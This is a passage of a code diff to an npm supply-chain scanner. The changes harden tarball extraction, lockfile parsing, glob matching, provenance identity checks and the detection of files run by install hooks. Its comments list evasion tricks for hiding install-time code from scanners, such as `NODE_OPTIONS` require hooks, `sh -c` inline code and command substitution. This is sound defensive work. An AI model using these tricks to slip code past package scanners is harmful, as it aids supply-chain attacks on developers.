Parser auto-detects gzip/zstd, so a compressed payload inside the + // gzip would be decompressed by it, past our cap. Refuse nested compression. + if (!headChecked) { + head = Buffer.concat([head, chunk.subarray(0, MAGIC_PREFIX_BYTES)]); + if (head.length >= 6) headChecked = true; + if (classifyContent(head).class === "compressed") { + truncated = true; + gunzip.destroy(); + return; + } + } // Feed the decompressed tar bytes onward for file extraction. A parser // entry handler may set `truncated` (entry-count cap) or `failure` // (malformed tar) synchronously during this write — if so, stop @@ -209,6 +286,8 @@ export async function extractTarball( // a cap breach halts before feeding the whole payload. npm tarballs are always // gzip; this preserves robustness for a raw tar. const SLICE = 256 * 1024; + // A raw zstd (or other compressed) stream would be decompressed by the Parser, uncounted. + if (classifyContent(tgz.subarray(0, MAGIC_PREFIX_BYTES)).class === "compressed") truncated = true; for (let off = 0; off < tgz.length && !truncated && !failure; off += SLICE) { const chunk = tgz.subarray(off, off + SLICE); unpackedSize += chunk.length; @@ -222,7 +301,12 @@ export async function extractTarball( await done; } if (failure) throw failure; - return { files, packageManifestEntryCount, unpackedSize, fileCount, truncated, unscanned, unscannedTotals, contentMismatch, contentMismatchTotals }; + const manifestConfusion: string[] = []; + if (packageManifestEntryCount > 1) manifestConfusion.push(`${packageManifestEntryCount} entries land on the root package.json (npm keeps the last one)`); + if (manifestVariant) manifestConfusion.push("the root package.json entry is spelled with different case or path form than package/package.json"); + if (pathCollision) manifestConfusion.push("a path collision between tar readings: a Windows-reading entry path lands on another retained file"); + if (manifestOversized) manifestConfusion.push("the root package.json is over 2 MiB and cannot be scanned"); + return { files, packageManifestEntryCount, manifestConfusion, unpackedSize, fileCount, truncated, unscanned, unscannedTotals, contentMismatch, contentMismatchTotals }; } /** Build a `path -> content` baseline map from a previously extracted set. */ @@ -231,7 +315,8 @@ export function baselineFrom(files: PackageFile[]): Map { } /** SRI algorithms Sentinel can recompute for a lockfile-integrity cross-check. */ -export type SriAlgorithm = "sha1" | "sha256" | "sha512"; +export const SRI_ALGORITHMS = ["sha1", "sha256", "sha384", "sha512"] as const; +export type SriAlgorithm = (typeof SRI_ALGORITHMS)[number]; /** Compute the SRI integrity string (`-`) for a tarball in `algo`. */ export function integrityOfAlgo(tgz: Buffer, algo: SriAlgorithm): string { @@ -244,9 +329,17 @@ export function integrityOf(tgz: Buffer): string { return integrityOfAlgo(tgz, "sha512"); } -function normalize(p: string): string { - // npm tarballs prefix everything with `package/`. - return p.replace(/^\.\//, ""); +/** + * Map a tar entry path to where npm would put it, rooted at `package/`: npm strips the + * first path segment WHATEVER it is, then the filesystem collapses `.`, `//` and `..`. + * Returns null for an entry npm would not extract (outside the root, or no name). + */ +function npmPath(p: string): string | null { + // Leading slashes left by `package//x` are stripped (node-tar's stripAbsolutePath). + // Trailing separators are dropped by the destination resolution (`package.json/` installs as `package.json`). + const rest = posix.normalize(p.split("/").slice(1).join("/").replace(/^\/+/, "")).replace(/\/+$/, ""); + if (rest === "" || rest === "." || rest === ".." || rest.startsWith("../")) return null; + return `package/${rest}`; } function extOf(p: string): string { diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 96d98e3..0814c72 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -22,6 +22,7 @@ export { } from "./policy.js"; export { ENGINE_VERSION, + AUDIT_REVISION, auditTarball, buildAudit, runAudit, @@ -34,6 +35,7 @@ export { integrityOf, integrityOfAlgo, type SriAlgorithm, + SRI_ALGORITHMS, type ExtractResult, } from "./extract.js"; export { readPackageManifest, type PackageCoordinate } from "./manifest.js"; diff --git a/packages/core/src/lockfile.ts b/packages/core/src/lockfile.ts index c78533e..803e155 100644 --- a/packages/core/src/lockfile.ts +++ b/packages/core/src/lockfile.ts @@ -1,9 +1,16 @@ import { parse as parseYaml } from "yaml"; +import { SRI_ALGORITHMS } from "./extract.js"; export interface Coordinate { name: string; version: string; integrity?: string; + /** + * The raw `resolved` spec, set ONLY when the lockfile entry does not come from + * a registry tarball (git, github shorthand, off-shape tarball URL, ...). The + * proxy cannot audit such a source, so `audit-tree` blocks it (F19). + */ + nonRegistry?: string; } interface LockPackageEntry { @@ -15,6 +22,89 @@ interface LockPackageEntry { dev?: boolean; } +/** True when `integrity` carries at least one pin in an algorithm the proxy can recompute. */ +function hasKnownPin(integrity: string | undefined): boolean { + return typeof integrity === "string" && integrity.split(/\s+/).some((t) => SRI_ALGORITHMS.some((a) => t.startsWith(`${a}-`) && t.length > a.length + 1)); +} + +/** + * True when `resolved` has the shape of an http(s) registry tarball: the path + * contains `/-/` and ends in `.tgz` (npm, yarn, pnpm, GitLab's `/-/@scope/n-1.0.0.tgz`). + * Shape alone proves nothing about the host, so a registry coordinate also needs + * an integrity pin (see `isRegistrySource`); the proxy then checks the pin against + * the bytes it audited. shortcut: the file name is not bound to name-version + * (hand-written test lockfiles use `x.tgz`). + */ +function isRegistryTarball(resolved: string): boolean { + try { + const u = new URL(resolved); + return (u.protocol === "http:" || u.protocol === "https:") && u.pathname.includes("/-/") && u.pathname.endsWith(".tgz"); + } catch { + return false; + } +} + +/** A registry source: registry-shaped URL AND a known-algorithm pin. Otherwise npm fetches unverified bytes. */ +function isRegistrySource(resolved: string, integrity: string | undefined): boolean { + return isRegistryTarball(resolved) && hasKnownPin(integrity); +} + +const NAME_RE = /^(?:@[A-Za-z0-9~._-]+\/)?[A-Za-z0-9~._-]+$/; +const VERSION_RE = /^[^\s/:@?#]+$/; + +/** + * Lockfile text must not become coordinate text: a name outside the npm grammar becomes + * `` and a version that is not a plain version string becomes `0.0.0`, and the entry is + * flagged non-registry. (URLs, userinfo and signed query strings then cannot reach audit-tree output.) + */ +function sanitize(coord: Coordinate): Coordinate { + const goodName = coord.name.length <= 214 && NAME_RE.test(coord.name); + const goodVersion = VERSION_RE.test(coord.version); + if (goodName && goodVersion) return coord; + return { + ...coord, + name: goodName ? coord.name : "", + version: goodVersion ? coord.version : "0.0.0", + nonRegistry: coord.nonRegistry ?? "unparsed lockfile entry", + }; +} + +/** + * Dedupe on name@version. `nonRegistry` is sticky so a git row is never hidden by a registry twin, and + * so is the integrity pin (a later duplicate without one must not erase it). Two entries with different + * pins conflict: npm would install one of them, so the coordinate cannot be verified against one hash. + */ +function putCoord(byKey: Map, raw: Coordinate): void { + const coord = sanitize(raw); + const key = `${coord.name}@${coord.version}`; + const prev = byKey.get(key); + if (prev?.nonRegistry !== undefined && coord.nonRegistry === undefined) coord.nonRegistry = prev.nonRegistry; + if (prev?.integrity && !coord.integrity) coord.integrity = prev.integrity; + else if (prev?.integrity && coord.integrity) { + const merged = mergePins(prev.integrity, coord.integrity); + if (merged === null) { + if (coord.nonRegistry === undefined) coord.nonRegistry = "conflicting integrity pins for the same name@version"; + } else coord.integrity = merged; + } + byKey.set(key, coord); +} + +/** + * Merge two SRI strings: tokens in different algorithms are all kept (space-separated, deduped; the proxy + * checks every token against the served bytes). The same algorithm with two different digests is a real + * conflict: null. + */ +function mergePins(a: string, b: string): string | null { + const byAlgo = new Map(); + for (const t of `${a} ${b}`.split(/\s+/).filter(Boolean)) { + const algo = t.split("-", 1)[0]!; + const seen = byAlgo.get(algo); + if (seen !== undefined && seen !== t) return null; + byAlgo.set(algo, t); + } + return [...byAlgo.values()].join(" "); +} + /** * Parse an npm `package-lock.json` (v2/v3) into deduped, `name@version`-sorted * registry coordinates. Lockfile-format knowledge lives here, not on the proxy. @@ -40,7 +130,8 @@ export function parseLockfile(raw: string, opts: { omitDev?: boolean } = {}): Co if (!name || !entry.version) continue; const coord: Coordinate = { name, version: entry.version }; if (entry.integrity) coord.integrity = entry.integrity; - byKey.set(`${name}@${entry.version}`, coord); + if (resolved && !isRegistrySource(resolved, entry.integrity)) coord.nonRegistry = resolved; + putCoord(byKey, coord); } return [...byKey.values()].sort((a, b) => { const ka = `${a.name}@${a.version}`, kb = `${b.name}@${b.version}`; @@ -68,13 +159,18 @@ function parseYarnV1(raw: string): Coordinate[] { let headerName: string | null = null; let version: string | null = null; let integrity: string | undefined; + let resolved: string | undefined; const flush = () => { if (headerName && version) { const coord: Coordinate = { name: headerName, version }; - if (integrity) coord.integrity = integrity; - byKey.set(`${headerName}@${version}`, coord); + // A `#<40-hex>` fragment on `resolved` is yarn v1's sha1 pin; carry it as an SRI so the proxy verifies it. + const frag = resolved ? /#([0-9a-f]{40})$/i.exec(resolved)?.[1] : undefined; + const pin = integrity ?? (frag ? "sha1-" + Buffer.from(frag, "hex").toString("base64") : undefined); + if (pin) coord.integrity = pin; + if (resolved && !resolved.startsWith("file:") && !resolved.startsWith("link:") && !isRegistrySource(resolved, pin)) coord.nonRegistry = resolved; + putCoord(byKey, coord); } - headerName = null; version = null; integrity = undefined; + headerName = null; version = null; integrity = undefined; resolved = undefined; }; for (const line of lines) { if (!line.trim() || line.startsWith("#")) continue; @@ -90,28 +186,43 @@ function parseYarnV1(raw: string): Coordinate[] { if (v) version = v[1]!; const i = line.trim().match(/^integrity\s+(\S+)$/); if (i) integrity = i[1]!; + const r = line.trim().match(/^resolved\s+"?([^"\s]+)"?$/); + if (r) resolved = r[1]!; } } flush(); return sortCoords([...byKey.values()]); } -/** `name@npm:range` → name (everything before `@npm:`). */ +/** `name@protocol:range[, …]` → name: the leading (scoped) package name before its own `@`. */ function yarnBerryName(key: string): string { const s = key.replace(/^"|"$/g, ""); - const idx = s.indexOf("@npm:"); - return idx > 0 ? s.slice(0, idx) : s.replace(/@[^@]*$/, ""); + return /^((?:@[^/@]+\/)?[^@/]+)@/.exec(s)?.[1] ?? ""; } +const BERRY_LOCAL_PROTOCOLS = new Set(["workspace", "patch", "link", "portal", "file", "exec"]); + function parseYarnBerry(raw: string): Coordinate[] { - const doc = parseYaml(raw) as Record; + const doc = parseYaml(raw) as Record; const byKey = new Map(); for (const [key, entry] of Object.entries(doc)) { if (key === "__metadata" || !entry || typeof entry !== "object") continue; - const name = yarnBerryName(key); - const version = entry.version; - if (!name || !version) continue; - byKey.set(`${name}@${version}`, { name, version }); // berry checksum is not SRI → no integrity + const resolution = typeof entry.resolution === "string" ? entry.resolution : ""; + // Parse the locator structurally (`@:`); a substring test lets a + // tarball URL containing "@npm:" or "@file:" pass as registry or local. + const locator = /^((?:@[^/@]+\/)?[^@/]+)@([a-z]+):(.*)$/.exec(resolution); + const protocol = locator?.[2]; + // Local sources and patch overlays (the patched `npm:` base is its own entry) are not registry coordinates. + if (protocol && BERRY_LOCAL_PROTOCOLS.has(protocol)) continue; + // The resolution names what yarn fetches (an alias key names something else). + const name = locator?.[1] ?? (yarnBerryName(key) || key); + const version = typeof entry.version === "string" && entry.version ? entry.version : "0.0.0"; + const coord: Coordinate = { name, version }; // berry checksum is not SRI → no integrity + // Registry only when the resolved version is plain and is the version we audit. + const registry = protocol === "npm" && /^[^\s#?/:@]+$/.test(locator![3]!) && locator![3] === entry.version; + // Anything not provably a registry coordinate gates as non-registry; never skip it. + if (!registry) coord.nonRegistry = resolution || key; + putCoord(byKey, coord); } return sortCoords([...byKey.values()]); } @@ -131,17 +242,22 @@ function pnpmStripKey(key: string): string { function pnpmNameVersion(key: string, slashStyle: boolean): [string, string] | null { const k = pnpmStripKey(key); if (slashStyle) { + // `/name/1.0.0_peer@2.0.0`: cut the version at the first `_` (the peer suffix, which may itself hold `/`). + // A semver token has no `/` or `_`, so match name + `/x.y...` and ignore the rest; URL keys fall through. + const m = /^(.+?)\/(\d+\.[^/_]*)(?:_.*)?$/.exec(k); + if (m) return [m[1]!, m[2]!]; const at = k.lastIndexOf("/"); if (at <= 0) return null; return [k.slice(0, at), k.slice(at + 1)]; } - const at = k.lastIndexOf("@"); + // Split right after the package name (skipping a leading `@scope/`): the remainder may be a URL whose query holds '@'. + const at = k.indexOf("@", k.startsWith("@") ? 1 : 0); if (at <= 0) return null; return [k.slice(0, at), k.slice(at + 1)]; } export function parsePnpmLock(raw: string, _opts: { omitDev?: boolean } = {}): Coordinate[] { - const doc = parseYaml(raw) as { lockfileVersion?: string | number; packages?: Record }; + const doc = parseYaml(raw) as { lockfileVersion?: string | number; packages?: Record }; const packages = doc.packages; if (!packages || typeof packages !== "object") { throw new Error("unsupported pnpm lockfile: no 'packages' map"); @@ -153,12 +269,24 @@ export function parsePnpmLock(raw: string, _opts: { omitDev?: boolean } = {}): C if (key.startsWith("link:") || key.startsWith("file:")) continue; const nv = pnpmNameVersion(key, slashStyle); if (!nv) continue; - const [name, version] = nv; + const [name] = nv; + let version = nv[1]; if (!name || !version) continue; + const res = entry?.resolution; + if (res?.directory !== undefined || res?.type === "directory") continue; + if (typeof res?.tarball === "string" && (res.tarball.startsWith("file:") || res.tarball.startsWith("link:"))) continue; + // URL-keyed entries (`name@https://...`, or a v5 key with no leading `/`) are not name/version keys: + // the version comes only from the entry's declared `version`, never from the key (its last segment can + // be a credential). No declared version falls back to 0.0.0. + const urlKeyed = !VERSION_RE.test(version) || (slashStyle && !key.startsWith("/")); + if (urlKeyed) version = typeof entry?.version === "string" ? entry.version : "0.0.0"; const coord: Coordinate = { name, version }; - const integrity = entry?.resolution?.integrity; + const integrity = res?.integrity; if (integrity) coord.integrity = integrity; - byKey.set(`${name}@${version}`, coord); + if (res?.type !== undefined && res.type !== "directory") coord.nonRegistry = `${res.type}:${res.repo ?? ""}#${res.commit ?? ""}`; + else if (typeof res?.tarball === "string" && !isRegistrySource(res.tarball, integrity)) coord.nonRegistry = res.tarball; + else if (urlKeyed) coord.nonRegistry = key; // a non-plain remainder is never a registry coordinate + putCoord(byKey, coord); } return sortCoords([...byKey.values()]); } diff --git a/packages/core/src/policy.ts b/packages/core/src/policy.ts index b5cd4fe..bb7cbce 100644 --- a/packages/core/src/policy.ts +++ b/packages/core/src/policy.ts @@ -90,14 +90,21 @@ function canonicalJSON(v: unknown): string { return JSON.stringify(v); } -/** Anchored full-name glob: `*` is the only metacharacter; everything else is literal. */ +/** + * Anchored full-name glob: `*` is the only metacharacter; everything else is literal. + * Iterative two-pointer match (backtracks only to the last `*`), so a hostile name + * cannot trigger regex catastrophic backtracking. + */ export function matchPackage(pattern: string, name: string): boolean { - const re = new RegExp("^" + pattern.split("*").map(escapeRe).join(".*") + "$"); - return re.test(name); -} - -function escapeRe(s: string): string { - return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + let p = 0, n = 0, star = -1, mark = 0; + while (n < name.length) { + if (pattern[p] === "*") { star = p++; mark = n; } + else if (p < pattern.length && pattern[p] === name[n]) { p++; n++; } + else if (star >= 0) { p = star + 1; n = ++mark; } + else return false; + } + while (pattern[p] === "*") p++; + return p === pattern.length; } export function policyHashOfBytes(raw: Buffer): string { diff --git a/packages/core/src/provenance.ts b/packages/core/src/provenance.ts index 7c40f72..8d5edee 100644 --- a/packages/core/src/provenance.ts +++ b/packages/core/src/provenance.ts @@ -115,7 +115,7 @@ export function verifyProvenance(input: { const bindErr = checkSubjectBinding(stmt, input.integrity); if (bindErr) return { status: "invalid", identity: null, reason: bindErr, rootStale }; if (stmt.predicateType === SLSA_V1) { - identity = extractIdentity(result, stmt); + identity = extractIdentity(result, stmt, leafCertDer(bundle)); sawSlsa = true; } } @@ -153,7 +153,7 @@ function buildVerifier(trust: ProvenanceTrustMaterial): Verifier { return new Verifier(toTrustMaterial(root, keyFinder), { ctlogThreshold: 1, tlogThreshold: 1, tsaThreshold: 0 }); } -interface InTotoStatement { +export interface InTotoStatement { predicateType?: string; subject?: { name?: string; digest?: Record }[]; predicate?: { @@ -190,16 +190,90 @@ function checkSubjectBinding(stmt: InTotoStatement, integrity: string): string | return null; } -function extractIdentity(result: unknown, stmt: InTotoStatement): ProvenanceIdentity { +/** Leaf certificate DER from the bundle (the one the verifier checked), or empty. */ +function leafCertDer(bundle: ReturnType): Uint8Array { + const c = (bundle as { verificationMaterial?: { content?: { $case?: string; certificate?: { rawBytes?: Uint8Array }; x509CertificateChain?: { certificates?: { rawBytes?: Uint8Array }[] } } } }).verificationMaterial?.content; + const raw = c?.$case === "certificate" ? c.certificate?.rawBytes : c?.$case === "x509CertificateChain" ? c.x509CertificateChain?.certificates?.[0]?.rawBytes : undefined; + return raw ?? new Uint8Array(0); +} + +// DER OID bytes for Fulcio 1.3.6.1.4.1.57264.1.{12,14}: Source Repository URI, Source Repository Ref. +const OID_SOURCE_REPO = [0x2b, 0x06, 0x01, 0x04, 0x01, 0x83, 0xbf, 0x30, 0x01, 0x0c]; +const OID_SOURCE_REF = [0x2b, 0x06, 0x01, 0x04, 0x01, 0x83, 0xbf, 0x30, 0x01, 0x0e]; + +interface Tlv { tag: number; start: number; end: number } + +/** Read one DER TLV at `i`; throws on truncation or an unsupported length form. */ +function readTlv(b: Uint8Array, i: number): Tlv { + if (i + 2 > b.length) throw new Error("truncated DER"); + let len = b[i + 1]!; + let hdr = 2; + if (len & 0x80) { + const n = len & 0x7f; + if (n < 1 || n > 4 || i + 2 + n > b.length) throw new Error("bad DER length"); + len = 0; + for (let k = 0; k < n; k++) len = len * 256 + b[i + 2 + k]!; + hdr += n; + } + const start = i + hdr; + if (start + len > b.length) throw new Error("truncated DER"); + return { tag: b[i]!, start, end: start + len }; +} + +function* children(b: Uint8Array, parent: Tlv): Generator { + for (let i = parent.start; i < parent.end;) { + const t = readTlv(b, i); + yield t; + i = t.end; + } +} + +/** + * Source repository URI and ref from the Fulcio certificate extensions. These + * are issued by Fulcio from the verified OIDC token, unlike the SLSA predicate, + * which any Sigstore signer writes. Total: malformed DER or a missing + * extension yields null for that field. + */ +export function fulcioSourceExtensions(der: Uint8Array): { sourceRepository: string | null; ref: string | null } { + const out = { sourceRepository: null as string | null, ref: null as string | null }; + try { + const cert = readTlv(der, 0); + const tbs = readTlv(der, cert.start); + for (const field of children(der, tbs)) { + if (field.tag !== 0xa3) continue; // [3] EXPLICIT extensions + for (const ext of children(der, readTlv(der, field.start))) { + const parts = [...children(der, ext)]; + const oid = parts[0]; + const value = parts.find((p, i) => i > 0 && p.tag === 0x04); + if (!oid || oid.tag !== 0x06 || !value) continue; + const key = sameBytes(der, oid, OID_SOURCE_REPO) ? "sourceRepository" : sameBytes(der, oid, OID_SOURCE_REF) ? "ref" : null; + if (!key || out[key] !== null) continue; + const str = readTlv(der, value.start); + if (str.tag === 0x0c) out[key] = Buffer.from(der.subarray(str.start, str.end)).toString("utf8"); + } + } + } catch { + // fall through with whatever was read + } + return out; +} + +function sameBytes(b: Uint8Array, t: Tlv, want: number[]): boolean { + return t.end - t.start === want.length && want.every((v, k) => b[t.start + k] === v); +} + +export function extractIdentity(result: unknown, stmt: InTotoStatement, leafDer: Uint8Array): ProvenanceIdentity { const id = (result as { identity?: { subjectAlternativeName?: string; extensions?: { issuer?: string } } }).identity; const pred = stmt.predicate ?? {}; - const wf = pred.buildDefinition?.externalParameters?.workflow ?? {}; const commit = pred.buildDefinition?.resolvedDependencies?.find((d) => typeof d?.digest?.["gitCommit"] === "string")?.digest?.["gitCommit"]; + const cert = fulcioSourceExtensions(leafDer); return { workflow: id?.subjectAlternativeName ?? null, issuer: id?.extensions?.issuer ?? null, - sourceRepository: typeof wf.repository === "string" ? wf.repository : null, - ref: typeof wf.ref === "string" ? wf.ref : null, + // Certificate-bound (Fulcio), never the signer-written predicate. No predicate fallback (F14). + sourceRepository: cert.sourceRepository, + ref: cert.ref, + // builder and commit remain signer-written predicate claims; never authorize on them alone. builder: typeof pred.runDetails?.builder?.id === "string" ? pred.runDetails.builder.id : null, commit: typeof commit === "string" ? commit : null, }; diff --git a/packages/core/src/rules/install-scripts.ts b/packages/core/src/rules/install-scripts.ts index b34bb8a..d827119 100644 --- a/packages/core/src/rules/install-scripts.ts +++ b/packages/core/src/rules/install-scripts.ts @@ -1,5 +1,5 @@ import type { AuditInput, Finding, PackageFile, Rule } from "../types.js"; -import { codeFiles, mkFinding, scanLines, truncate } from "./util.js"; +import { mkFinding, scanLines, truncate } from "./util.js"; const LIFECYCLE = ["preinstall", "install", "postinstall"] as const; @@ -32,17 +32,17 @@ export const installScriptsRule: Rule = { } const findings: Finding[] = []; - const code = codeFiles(input); + const referencedFiles = makeResolver(input.files); for (const hook of LIFECYCLE) { const cmd = scripts[hook]; - if (!cmd) continue; + if (typeof cmd !== "string" || !cmd) continue; // npm ignores non-string hooks; one must not throw the rule away // What does the lifecycle command itself do? const inlineDangers = DANGER_IN_SCRIPT.filter((d) => d.re.test(cmd)); // If it runs a local script file, inspect that file's contents too. - const referenced = referencedFiles(cmd, code); + const referenced = referencedFiles(cmd); const fileDangers = referenced.flatMap((f) => DANGER_IN_SCRIPT.flatMap((d) => scanLines(f, d.re, 2).map((ev) => ({ why: d.why, ev })), @@ -86,14 +86,264 @@ export const installScriptsRule: Rule = { }, }; -/** Resolve local script files referenced by a lifecycle command (e.g. `node scripts/x.js`). */ -function referencedFiles(cmd: string, code: PackageFile[]): PackageFile[] { - const out: PackageFile[] = []; - const re = /([\w./-]+\.(?:c?js|mjs|cjs|ts))/g; - for (const m of cmd.matchAll(re)) { - const ref = (m[1] ?? "").replace(/^\.\//, ""); - const hit = code.find((f) => f.path === `package/${ref}` || f.path.endsWith(`/${ref}`)); - if (hit) out.push(hit); +// Pieces of a shell word that may hide a path (`${VAR}setup`, `--require=./x.js`, `a\b`). +const WORD_PIECES = /[${}\\=,'"`()<>]+/; // `<>`: `node 0) depth++; + else if (c === ")" && depth > 0 && --depth === 0) bodies.push(cmd.slice(start, i)); + } + return bodies; +} +const WRAPPERS = new Set(["env", "exec", "nohup", "time", "command", "npx"]); +// Inline-code flags differ per interpreter (`sh -e` is errexit, not inline code). +const SHELL_INLINE = /^-[a-z]*c[a-z]*$/i; // `-c`, `-ec`, `-lc` +const NODE_INLINE = /^(?:-[ep]|-pe|--eval(?:=.*)?|--print(?:=.*)?)$/; +const INLINE_FLAG: Record = { + sh: SHELL_INLINE, bash: SHELL_INLINE, zsh: SHELL_INLINE, dash: SHELL_INLINE, ksh: SHELL_INLINE, + node: NODE_INLINE, nodejs: NODE_INLINE, bun: NODE_INLINE, deno: NODE_INLINE, + python: /^-c$/, python3: /^-c$/, perl: /^-e$/, ruby: /^-e$/, php: /^-r$/, + pwsh: /^-(?:c|command)$/i, powershell: /^-(?:c|command)$/i, +}; +// Operands with these extensions are code wherever they appear (`sudo node x.js`, `timeout 5 sh x.sh`). +const CODE_WORD = /\.(?:c?js|mjs|ts|sh|py|pl|rb)\b/i; +// Flags whose value is also executed code (`node -r ./hook main.js`). +const CODE_VALUE_FLAG = /^--?(?:r|require|import|loader|experimental-loader)(?:=(.*))?$/; +const MAX_SUFFIX_DEPTH = 64; + +interface TrieNode { + kids: Map; + first?: PackageFile; +} + +/** + * Resolves the local files a lifecycle command actually EXECUTES: per simple + * command, the command word (`./setup`) or, for an interpreter (`node`, `sh`, ...), + * the first operand that names a package file. Data arguments (`node gen.js README.md`) + * are not scanned. Indexes are built on first use, so a package with no hooks pays + * nothing, and all work is linear in the command and total path length: exact paths + * through a Map, JS suffixes through a reverse component trie (O(token components)). + */ +function makeResolver(files: PackageFile[]): (cmd: string) => PackageFile[] { + let byPath: Map | undefined; + let trie: TrieNode | undefined; + const exact = (p: string) => (byPath ??= new Map(files.map((f) => [f.path, f] as const))).get(p); + const suffix = (ref: string) => { + if (!trie) { + const root: TrieNode = { kids: new Map() }; + for (const f of files) { + const comps = f.path.split("/"); + let node = root; + // Depth d holds files with more than d components, so `endsWith("/" + ref)` needs a longer path. + for (let d = 1; d < comps.length && d <= MAX_SUFFIX_DEPTH; d++) { + const key = comps[comps.length - d]!; + let next = node.kids.get(key); + if (!next) node.kids.set(key, (next = { kids: new Map() })); + next.first ??= f; + node = next; + } + } + trie = root; + } + const comps = ref.split("/"); + if (comps.length > MAX_SUFFIX_DEPTH) return undefined; + let node: TrieNode | undefined = trie; + for (let i = comps.length - 1; i >= 0 && node; i--) node = node.kids.get(comps[i]!); + return node?.first; + }; + + /** + * `exact`: only `package/` (a bare command word such as `echo` or `node-gyp`). + * `path`: also the suffix trie (a command word written with a `/`, e.g. `./setup` after `cd scripts`). + * `script`: an executed operand, with Node-style `.js` / `/index.js` retries and the suffix trie. + * A shell never appends `.js` to a command word, so only `script` retries. + */ + type Mode = "exact" | "path" | "script"; + const resolveRef = (raw: string, mode: Mode): PackageFile | undefined => { + const ref = raw.replace(/^\.\//, ""); + if (!ref) return undefined; + let hit = exact(`package/${ref}`); + if (hit || mode === "exact") return hit; + if (mode === "path") return suffix(ref); + const dotted = ref.slice(ref.lastIndexOf("/") + 1).includes("."); + // Node resolves `node setup` / `node scripts` as setup.js / scripts/index.js. + if (!dotted) hit = exact(`package/${ref}.js`) ?? exact(`package/${ref}/index.js`); + // After a `cd scripts &&` the file sits deeper than `package/`. + return hit ?? suffix(ref) ?? (dotted ? undefined : suffix(`${ref}.js`)); + }; + const resolveWord = (word: string, mode: Mode): PackageFile | undefined => { + const w = trimPunct(word); + const direct = resolveRef(w, mode); + if (direct) return direct; + for (const piece of w.split(WORD_PIECES)) { + const hit = resolveRef(piece, mode); + if (hit) return hit; + } + return undefined; + }; + const isPrefix = (words: string[], i: number) => + /^[A-Za-z_]\w*=/.test(words[i]!) || WRAPPERS.has(words[i]!) || (i > 0 && WRAPPERS.has(words[i - 1]!) && words[i]!.startsWith("-")); + + /** Scan one command line; `sh -c ""` code is scanned again as a command line (depth-bounded, so linear). */ + const scan = (cmd: string, out: Set, depth: number): void => { + // Quote tracking can only ADD coverage: a stray apostrophe (`# it's`) must not hide later commands, + // so the plain split is scanned too, and `$(...)` / backtick bodies are scanned as command lines. + if (depth < MAX_INLINE_DEPTH) for (const body of substitutionBodies(cmd)) scan(body, out, depth + 1); + for (const simple of new Set([...splitSimpleCommands(cmd), ...cmd.split(SIMPLE_COMMAND_SPLIT)])) { + const rawWords = simple.split(/\s+/).filter(Boolean); + const words = rawWords.map(unquote); + // Indexes of words ending in each quote char, built once per command so repeated inline flags + // do not rescan the remaining arguments. + const closers: Record = {}; + const nextClose = (q: string, from: number): number | undefined => { + const list = (closers[q] ??= rawWords.flatMap((rw, k) => (rw.endsWith(q) ? [k] : []))); + let lo = 0, hi = list.length; + while (lo < hi) { const mid = (lo + hi) >> 1; if (list[mid]! < from) lo = mid + 1; else hi = mid; } + return list[lo]; + }; + let i = 0; + for (; i < words.length && isPrefix(words, i); i++) { + // `NODE_OPTIONS=--require=./hook.js node -v`: a code file inside an assignment value runs too. + const eq = words[i]!.indexOf("="); + if (eq < 0) continue; + for (const piece of words[i]!.slice(eq + 1).split(/[\s=]+/)) { + const hit = CODE_WORD.test(piece) && /^(?:\.{1,2}\/|\/)/.test(piece) ? resolveWord(piece, "script") : undefined; + if (hit) out.add(hit); + } + } + const command = words[i]; + if (!command) continue; + const name = trimPunct(command); + const interpreter = name.slice(name.lastIndexOf("/") + 1); + const inline = Object.hasOwn(INLINE_FLAG, interpreter) ? INLINE_FLAG[interpreter] : undefined; + // The command word itself may be a package script (`./setup`). + if (!inline) { + const hit = resolveWord(command, name.includes("/") ? "path" : "exact"); + if (hit) out.add(hit); + } + // Operands: anything with a code extension is scanned wherever it sits (unknown wrappers like + // `sudo`/`timeout`/`xargs` must not hide it). For an interpreter, the first other operand that + // names a package file is also the executed script (earlier operands may be flag values). + let found = false; + for (let j = i + 1; j < words.length; j++) { + const w = words[j]!; + // Redirections are not operands. `file` targets are outputs. + // Detected on the RAW word: a quoted `">x.js"` is a literal file name, not a redirect. + const redirect = /^(\d*)([<>])[<>&]*(.*)$/.exec(rawWords[j]!); + if (redirect) { + const target = unquote(redirect[3] ?? "") || words[++j] || ""; + if (redirect[2] === "<") { + const hit = resolveWord(target, "script"); + if (hit) out.add(hit); + } + continue; + } + if (inline && w.startsWith("-")) { + if (inline.test(w)) { + found = true; // later extension-less operands are arguments to that inline code, not scripts + let code = w.includes("=") ? w.slice(w.indexOf("=") + 1) : ""; + if (!w.includes("=")) { + // Quoted code may span several whitespace-split words: find the span on the RAW words + // (unquoting first would hide the opening quote). No closing quote ⇒ only one word. + const first = rawWords[j + 1] ?? ""; + const q = first[0] === "'" || first[0] === '"' ? first[0] : ""; + let end = j + 1; + if (q && !(first.length > 1 && first.endsWith(q))) end = nextClose(q, j + 2) ?? end; + code = rawWords.slice(j + 1, end + 1).join(" "); + j = end; + } + code = unquote(code); + if (inline === SHELL_INLINE && depth < MAX_INLINE_DEPTH) scan(code, out, depth + 1); + else { + // Non-shell inline code (`node -e "require('./x.js')"`): code-extension names inside still count. + for (const cw of code.split(/\s+/)) { + const hit = CODE_WORD.test(cw) ? resolveWord(cw, "script") : undefined; + if (hit) out.add(hit); + } + } + continue; + } + const m = CODE_VALUE_FLAG.exec(w); + // Any other `--flag=value` (`--test-reporter=./r.js`) counts when its value is a code file. + const eq = w.indexOf("="); + const generic = !m && eq > 0 && CODE_WORD.test(w.slice(eq + 1)) ? w.slice(eq + 1) : undefined; + const value = m ? (m[1] ?? words[++j]) : generic; + // A bare specifier (`dotenv/config`) is a node_modules module, not a package script. + const hit = value && /^(?:\.{1,2}\/|\/)/.test(value) ? resolveWord(value, "script") : undefined; + if (hit) out.add(hit); + continue; + } + const isCode = CODE_WORD.test(w); + if (!isCode && (!inline || found)) continue; + const hit = resolveWord(w, "script"); + if (hit) { + out.add(hit); + if (inline) found = true; + } + } + } + }; + + return (cmd) => { + const out = new Set(); + scan(cmd, out, 0); + return [...out]; + }; +} + +const MAX_INLINE_DEPTH = 3; +const isPunct = (c: string | undefined) => c === "(" || c === ")" || c === '"' || c === "'" || c === "`"; + +/** Trim quote/paren punctuation from both ends with two pointers (a `)+$` regex is quadratic on `)))…x`). */ +function trimPunct(w: string): string { + let i = 0; + let j = w.length; + while (i < j && isPunct(w[i])) i++; + while (j > i && isPunct(w[j - 1])) j--; + return w.slice(i, j); 